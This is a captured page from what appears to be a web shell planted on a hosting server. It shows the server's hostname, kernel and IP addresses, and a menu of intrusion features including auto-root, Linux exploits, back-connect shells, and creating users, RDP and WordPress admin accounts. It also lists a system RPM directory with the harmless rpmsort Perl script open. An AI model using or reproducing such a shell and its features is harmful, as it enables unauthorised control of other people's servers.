Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
674 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
rpm /
redhat /
[ HOME SHELL ]
Name
Size
Permission
Action
find-provides.d
[ DIR ]
drwxr-xr-x
brp-compress
1.42
KB
-rwxr-xr-x
brp-implant-ident-static
970
B
-rwxr-xr-x
brp-java-repack-jars
2.76
KB
-rwxr-xr-x
brp-python-hardlink
686
B
-rwxr-xr-x
brp-strip
509
B
-rwxr-xr-x
brp-strip-comment-note
803
B
-rwxr-xr-x
brp-strip-shared
707
B
-rwxr-xr-x
brp-strip-static-archive
416
B
-rwxr-xr-x
config.guess
44.24
KB
-rwxr-xr-x
config.sub
34.74
KB
-rwxr-xr-x
dist.sh
1.92
KB
-rwxr-xr-x
find-provides
2.8
KB
-rwxr-xr-x
find-provides.ksyms
1.44
KB
-rwxr-xr-x
find-provides.libtool
203
B
-rwxr-xr-x
find-provides.pkgconfig
603
B
-rwxr-xr-x
find-requires
4.06
KB
-rwxr-xr-x
find-requires.ksyms
5.85
KB
-rwxr-xr-x
find-requires.libtool
271
B
-rwxr-xr-x
find-requires.pkgconfig
282
B
-rwxr-xr-x
kmodtool
8.11
KB
-rwxr-xr-x
libtool-handle-ppc64le.sh
3.64
KB
-rwxr-xr-x
macros
10.1
KB
-rw-r--r--
redhat-hardened-cc1
70
B
-r--r--r--
redhat-hardened-ld
47
B
-r--r--r--
rpmrc
3.69
KB
-rw-r--r--
rpmsort
2.11
KB
-rwxr-xr-x
symset-table
903
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rpmsort
#! /usr/bin/perl -w # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, # USA. use Getopt::Long qw(:config gnu_getopt); sub rpm_cmp_versions { my ($evr1, $evr2) = @_; sub _rpm_cmp { my ($s1, $s2) = @_; return defined $s1 <=> defined $s2 unless defined $s1 && defined $s2; my ($r, $x1, $x2); do { $s1 =~ s/^[^a-zA-Z0-9]+//; $s2 =~ s/^[^a-zA-Z0-9]+//; if ($s1 =~ /^\d/ || $s2 =~ /^\d/) { $s1 =~ s/^0*(\d*)//; $x1 = $1; $s2 =~ s/^0*(\d*)//; $x2 = $1; $r = length $x1 <=> length $x2 || $x1 cmp $x2; } else { $s1 =~ s/^([a-zA-Z]*)//; $x1 = $1; $s2 =~ s/^([a-zA-Z]*)//; $x2 = $1; return 0 if $x1 eq '' && $x2 eq ''; $r = $x1 cmp $x2; } } until $r; return $r; } my ($e1, $v1, $r1) = $evr1 =~ /^(?:(\d*):)?(.*?)(?:-([^-]*))?$/; my ($e2, $v2, $r2) = $evr2 =~ /^(?:(\d*):)?(.*?)(?:-([^-]*))?$/; my $r = _rpm_cmp($e1 || 0, $e2 || 0); $r = _rpm_cmp($v1, $v2) unless $r; $r = _rpm_cmp($r1, $r2) unless $r; return $r; } my $reorder = sub { return @_ }; my $key = 0; GetOptions ("r|reverse" => sub { $reorder = sub { return reverse @_ } }, "k|key=i" => \$key) or do { print STDERR "Usage\n"; exit 1; }; if ($key == 0) { # Sort by entire lines map { print } &$reorder(sort { rpm_cmp_versions($a, $b) } <>); } else { # Sort by field $key my @data = map { [(split)[$key-1], $_] } <>; map { print } &$reorder(map { $_->[1] } sort { rpm_cmp_versions($a->[0], $b->[0]) } @data); }
Close